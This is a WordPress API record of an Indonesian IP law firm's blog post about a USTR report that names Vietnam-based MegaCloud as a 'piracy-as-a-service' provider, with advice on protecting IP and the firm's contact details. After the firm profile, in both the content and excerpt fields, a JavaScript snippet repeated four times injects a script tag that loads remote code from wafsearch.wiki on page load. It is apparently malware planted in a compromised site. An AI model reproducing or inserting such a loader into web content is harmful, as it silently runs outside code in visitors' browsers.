{"id":6070,"date":"2026-03-13T16:42:07","date_gmt":"2026-03-13T16:42:07","guid":{"rendered":"https:\/\/staging.affa.co.id\/?p=6070"},"modified":"2026-03-13T16:42:07","modified_gmt":"2026-03-13T16:42:07","slug":"pusat-piracy-as-a-service-global-ada-di-asean-jasa-apa-saja-yang-ditawarkan","status":"publish","type":"post","link":"https:\/\/staging.affa.co.id\/bhs\/2026\/03\/13\/pusat-piracy-as-a-service-global-ada-di-asean-jasa-apa-saja-yang-ditawarkan\/","title":{"rendered":"Pusat &#8220;Piracy-as-a-Service&#8221; Global ada di ASEAN: Jasa Apa Saja yang Ditawarkan?"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Asia Tenggara kini sudah dikenal sebagai pusat pertumbuhan ekonomi baru dunia, tapi dibalik pesatnya kecanggihan teknologi digital dan gemerlap inovasinya, ada sisi gelap yang menempatkan kawasan ini sebagai pusat pembajakan dunia!<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dari laporan <\/span><b><i>\u201cReview of Notorious Markets for Counterfeiting and Piracy\u201d<\/i><\/b><span style=\"font-weight: 400\">\u00a0 terbaru yang dirilis oleh <\/span><b><i>Office of the United States Trade Representative (USTR) <\/i><\/b><span style=\"font-weight: 400\">di awal bulan Maret 2026<\/span><i><span style=\"font-weight: 400\">,<\/span><\/i> <span style=\"font-weight: 400\">disebutkan bahwa Vietnam telah menjadi pusat penyedia skema pembajakan berskala global.<\/span> <span style=\"font-weight: 400\">Apakah dengan demikian berbisnis di Vietnam menjadi tidak aman? Atau justru ada peluang yang dapat kita manfaatkan?<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Mengapa Vietnam Dijuluki Pusat<\/b><b><i> Piracy<\/i><\/b><b> Global?<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Vietnam yang kuat dalam industri manufakturnya, memang dapat memproduksi banyak hal, termasuk barang-barang palsu. Tapi yang banyak publik tidak tahu, Laporan USTR di atas juga mengungkap bahwa negara ini telah berevolusi menjadi &#8220;otak&#8221; dibalik ratusan situs bajakan dunia.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Hal ini didorong oleh keberadaan jaringan infrastruktur digital yang sangat masif dan terorganisir. Salah satu pemain utamanya adalah<\/span><b> MegaCloud<\/b><span style=\"font-weight: 400\"> (juga dikenal sebagai<\/span><b> VidCloud <\/b><span style=\"font-weight: 400\">atau<\/span><b> RapidCloud<\/b><span style=\"font-weight: 400\">) yang dilaporkan beroperasi di sana. Secara umum, perusahaan ini menawarkan model bisnis &#8220;layanan&#8221; atau <\/span><i><span style=\"font-weight: 400\">Piracy as a Service<\/span><\/i><span style=\"font-weight: 400\"> (PaaS) yang memudahkan pelaku kriminal lain untuk menjalankan situs bajakan, tanpa harus memiliki konten sendiri. Situs yang bisa membajak otomatis sesuai kebutuhan market?<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Jasa \u201cUnik\u201d yang Ditawarkan<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Kecanggihan layanan PaaS dari Vietnam ini mencakup infrastruktur yang sangat terintegrasi:<\/span><span style=\"font-weight: 400\"><\/p>\n<p><\/span><\/p>\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"font-weight: 400\"><b>Sistem Manajemen Konten (CMS) Bajakan: <\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Mereka menyediakan <\/span><i><span style=\"font-weight: 400\">backend <\/span><\/i><span style=\"font-weight: 400\">atau sistem manajemen yang mampu melakukan<\/span><i><span style=\"font-weight: 400\"> crawling<\/span><\/i><span style=\"font-weight: 400\"> dan <\/span><i><span style=\"font-weight: 400\">scraping<\/span><\/i><span style=\"font-weight: 400\"> konten secara otomatis dari berbagai situs resmi dan mesin pencari.<\/span><span style=\"font-weight: 400\"><\/p>\n<p><\/span><\/li>\n<li style=\"font-weight: 400\"><b>Hosting dan Distribusi Video: <\/b><b><br \/>\n<\/b><span style=\"font-weight: 400\">Jaringan ini bertindak sebagai sistem hosting yang menyimpan dan mengirimkan file video langsung ke lebih dari 260 situs streaming bajakan di seluruh dunia.<\/span><span style=\"font-weight: 400\"><\/p>\n<p><\/span><\/li>\n<li style=\"font-weight: 400\"><b>Perpustakaan Konten Raksasa: <\/b><b><br \/>\n<\/b><span style=\"font-weight: 400\">Layanan ini memberikan akses ke lebih dari 46.000 film dan 16.000 serial TV secara ilegal.<\/span><span style=\"font-weight: 400\"><\/p>\n<p><\/span><\/li>\n<li style=\"font-weight: 400\"><b>Skala Audiens Masif: <\/b><b><br \/>\n<\/b><span style=\"font-weight: 400\">Sebagai gambaran betapa kuatnya pengaruh mereka, situs-situs yang menggunakan jaringan MegaCloud ini dilaporkan menerima lebih dari 600 juta pengunjung di bulan Juli 2025 saja.<\/p>\n<p><\/span><\/li>\n<li style=\"font-weight: 400\"><b>Juga Menyasar Pemilik Merek<br \/>\n<\/b>Kemampuan crawling dan intelijensi yang kuat dari PaaS juga dapat mendata brand-brand apa saja yang paling diminati di setiap wilayah. Dari sana Anda perlu khawatir karena bisa jadi produk Anda yang sedang ditarget untuk dibuat tiruannya.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><b>Indonesia Perlu Bangun Benteng Perlindungan KI<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Karena ranah digital tidak memiliki batasan, data dan konten dari Indonesia yang sudah diunggah dan di-set untuk publik pun dapat ditarik ke PaaS. Maka dari itu, kita perlu melihatnya sebagai ancaman terorganisir di tingkat regional.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Jika keamanan aset digital menjadi ancaman, berikut ini adalah beberapa langkah strategis yang dapat dilakukan:<\/span><\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li style=\"font-weight: 400\"><b>Gunakan Teknologi Perlindungan (TPM): <\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Anda sudah harus menerapkan <\/span><b><i>Technological Protection Measures <\/i><\/b><span style=\"font-weight: 400\">(TPM) seperti enkripsi dan kontrol akses digital untuk mencegah penyalinan dan pembagian konten secara ilegal.<\/span><span style=\"font-weight: 400\"><\/p>\n<p><\/span><\/li>\n<li style=\"font-weight: 400\"><b>Edukasi Konsumen:<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Riset membuktikan bahwa hampir 50% konsumen bersedia berhenti menggunakan konten ilegal setelah mereka mengetahui dampak nyata kerusakan yang ditimbulkan bagi industri. Maka dari itu, edukasi merupakan investasi jangka panjang.<\/span><span style=\"font-weight: 400\"><\/p>\n<p><\/span><\/li>\n<li style=\"font-weight: 400\"><b>Monitoring Aktif: <\/b><b><br \/>\n<\/b><span style=\"font-weight: 400\">Jangan menunggu laporan. Pastikan semua aset Kekayaan Intelektual Anda sudah dicatatkan dan didaftarkan, serta gunakan alat deteksi otomatis atau manfaatkan jasa dari <\/span><a href=\"http:\/\/staging.affa.co.id\"><b>Konsultan Kekayaan Intelektual <\/b><\/a><span style=\"font-weight: 400\">untuk memantau penggunaan Merek atau konten Anda di platform digital secara <\/span><i><span style=\"font-weight: 400\">real-time<\/span><\/i><span style=\"font-weight: 400\">.<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><b><i>Baca juga:<\/i><\/b><\/p>\n<p><a href=\"https:\/\/staging.affa.co.id\/bhs\/rekam-hak-cipta-dan-merek-anda-ke-bea-cukai-untuk-pencegahan-di-perbatasan\/\"><b>Rekam Hak Cipta dan Merek Anda ke Bea Cukai untuk Pencegahan di Perbatasan<\/b><span style=\"font-weight: 400\"><\/p>\n<p><\/span><\/a><\/p>\n<p><span style=\"font-weight: 400\">Keberadaan pusat PaaS di ASEAN adalah pengingat bahwa aset Kekayaan Intelektual adalah komoditas yang sangat berharga di era digital. Dengan memahami cara kerja mereka, kita bisa melangkah lebih maju untuk melindungi kreativitas dan inovasi agar eksklusivitas dan Hak Komersilnya selalu menjadi milik kita.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Jika Anda memiliki pertanyaan terkait strategi perlindungan Kekayaan Intelektual di dalam dan luar negeri, langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS:<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udce9 E-Mail<\/span> <span style=\"font-weight: 400\">: emirsyah.dinar@staging.affa.co.id<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcde Book a Call<\/span> <span style=\"font-weight: 400\">: +62 21 83793812<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcac WhatsApp<\/span> <span style=\"font-weight: 400\">: +62 812 87000 889<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Tentang AFFA: <\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan <\/span><b><i>\u201cBest Boutique Law Firm in Indonesia\u201d<\/i><\/b> <span style=\"font-weight: 400\">dan <\/span><b><i>\u201cIP Enforcement Firm\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh <\/span><b><i>Asia Business Law Journal<\/i><\/b><span style=\"font-weight: 400\">, serta tercatat sebagai <\/span><b><i>\u201cRecommended Firm 2024 \u2014 Indonesia\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam publikasi <\/span><b><i>WTR 1000: The World\u2019s Leading Trademark Professionals<\/i><\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Informasi lebih lanjut mengenai AFFA dapat diakses melalui: <\/span><a href=\"http:\/\/www.staging.affa.co.id\"><span style=\"font-weight: 400\">www.staging.affa.co.id<\/span><\/a><span style=\"font-weight: 400\">.<\/span>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Asia Tenggara kini sudah dikenal sebagai pusat pertumbuhan ekonomi baru dunia, tapi dibalik pesatnya kecanggihan teknologi digital dan gemerlap inovasinya, ada sisi gelap yang menempatkan kawasan ini sebagai pusat pembajakan dunia! &nbsp; Dari laporan \u201cReview of Notorious Markets for Counterfeiting and Piracy\u201d\u00a0 terbaru yang dirilis oleh Office of the United States Trade Representative (USTR) di awal bulan Maret 2026, disebutkan bahwa Vietnam telah menjadi pusat penyedia skema pembajakan berskala global. Apakah dengan demikian berbisnis di Vietnam menjadi tidak aman? Atau justru ada peluang yang dapat kita manfaatkan? &nbsp; Mengapa Vietnam Dijuluki Pusat Piracy Global? &nbsp; Vietnam yang kuat dalam industri manufakturnya, memang dapat memproduksi banyak hal, termasuk barang-barang palsu. Tapi yang banyak publik tidak tahu, Laporan USTR di atas juga mengungkap bahwa negara ini telah berevolusi menjadi &#8220;otak&#8221; dibalik ratusan situs bajakan dunia. &nbsp; Hal ini didorong oleh keberadaan jaringan infrastruktur digital yang sangat masif dan terorganisir. Salah satu pemain utamanya adalah MegaCloud (juga dikenal sebagai VidCloud atau RapidCloud) yang dilaporkan beroperasi di sana. Secara umum, perusahaan ini menawarkan model bisnis &#8220;layanan&#8221; atau Piracy as a Service (PaaS) yang memudahkan pelaku kriminal lain untuk menjalankan situs bajakan, tanpa harus memiliki konten sendiri. Situs yang bisa membajak otomatis sesuai kebutuhan market? &nbsp; Jasa \u201cUnik\u201d yang Ditawarkan &nbsp; Kecanggihan layanan PaaS dari Vietnam ini mencakup infrastruktur yang sangat terintegrasi: Sistem Manajemen Konten (CMS) Bajakan: Mereka menyediakan backend atau sistem manajemen yang mampu melakukan crawling dan scraping konten secara otomatis dari berbagai situs resmi dan mesin pencari. Hosting dan Distribusi Video: Jaringan ini bertindak sebagai sistem hosting yang menyimpan dan mengirimkan file video langsung ke lebih dari 260 situs streaming bajakan di seluruh dunia. Perpustakaan Konten Raksasa: Layanan ini memberikan akses ke lebih dari 46.000 film dan 16.000 serial TV secara ilegal. Skala Audiens Masif: Sebagai gambaran betapa kuatnya pengaruh mereka, situs-situs yang menggunakan jaringan MegaCloud ini dilaporkan menerima lebih dari 600 juta pengunjung di bulan Juli 2025 saja. Juga Menyasar Pemilik Merek Kemampuan crawling dan intelijensi yang kuat dari PaaS juga dapat mendata brand-brand apa saja yang paling diminati di setiap wilayah. Dari sana Anda perlu khawatir karena bisa jadi produk Anda yang sedang ditarget untuk dibuat tiruannya. &nbsp; Indonesia Perlu Bangun Benteng Perlindungan KI &nbsp; Karena ranah digital tidak memiliki batasan, data dan konten dari Indonesia yang sudah diunggah dan di-set untuk publik pun dapat ditarik ke PaaS. Maka dari itu, kita perlu melihatnya sebagai ancaman terorganisir di tingkat regional.\u00a0 &nbsp; Jika keamanan aset digital menjadi ancaman, berikut ini adalah beberapa langkah strategis yang dapat dilakukan: &nbsp; Gunakan Teknologi Perlindungan (TPM): Anda sudah harus menerapkan Technological Protection Measures (TPM) seperti enkripsi dan kontrol akses digital untuk mencegah penyalinan dan pembagian konten secara ilegal. Edukasi Konsumen: Riset membuktikan bahwa hampir 50% konsumen bersedia berhenti menggunakan konten ilegal setelah mereka mengetahui dampak nyata kerusakan yang ditimbulkan bagi industri. Maka dari itu, edukasi merupakan investasi jangka panjang. Monitoring Aktif: Jangan menunggu laporan. Pastikan semua aset Kekayaan Intelektual Anda sudah dicatatkan dan didaftarkan, serta gunakan alat deteksi otomatis atau manfaatkan jasa dari Konsultan Kekayaan Intelektual untuk memantau penggunaan Merek atau konten Anda di platform digital secara real-time. &nbsp; Baca juga: Rekam Hak Cipta dan Merek Anda ke Bea Cukai untuk Pencegahan di Perbatasan Keberadaan pusat PaaS di ASEAN adalah pengingat bahwa aset Kekayaan Intelektual adalah komoditas yang sangat berharga di era digital. Dengan memahami cara kerja mereka, kita bisa melangkah lebih maju untuk melindungi kreativitas dan inovasi agar eksklusivitas dan Hak Komersilnya selalu menjadi milik kita. &nbsp; Jika Anda memiliki pertanyaan terkait strategi perlindungan Kekayaan Intelektual di dalam dan luar negeri, langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS: &nbsp; \ud83d\udce9 E-Mail : emirsyah.dinar@staging.affa.co.id \ud83d\udcde Book a Call : +62 21 83793812 \ud83d\udcac WhatsApp : +62 812 87000 889 &nbsp; Tentang AFFA: Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis. &nbsp; AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan \u201cBest Boutique Law Firm in Indonesia\u201d dan \u201cIP Enforcement Firm\u201d dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh Asia Business Law Journal, serta tercatat sebagai \u201cRecommended Firm 2024 \u2014 Indonesia\u201d dalam publikasi WTR 1000: The World\u2019s Leading Trademark Professionals. Informasi lebih lanjut mengenai AFFA dapat diakses melalui: www.staging.affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":6072,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277],"tags":[319,654,652,636,630,473,369,339,328,327,325,321,298,318,317,315,314,310,309,308,307,306,305,302],"class_list":["post-6070","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","tag-djki","tag-paas","tag-ustr","tag-vietnam","tag-performance","tag-geographical-indication","tag-indikasi-geografis","tag-paten","tag-industrial-design","tag-desain-industri","tag-patent","tag-indonesia","tag-merek","tag-trademark","tag-timing-is-everything","tag-merek-indonesia-bisa","tag-your-ip-is-our-expertise","tag-ki","tag-kekayaan-intelektual","tag-ip","tag-intellectual-property","tag-affa-ipr","tag-affa","tag-dgip"],"_links":{"self":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6070","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=6070"}],"version-history":[{"count":0,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6070\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/6072"}],"wp:attachment":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=6070"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=6070"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=6070"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}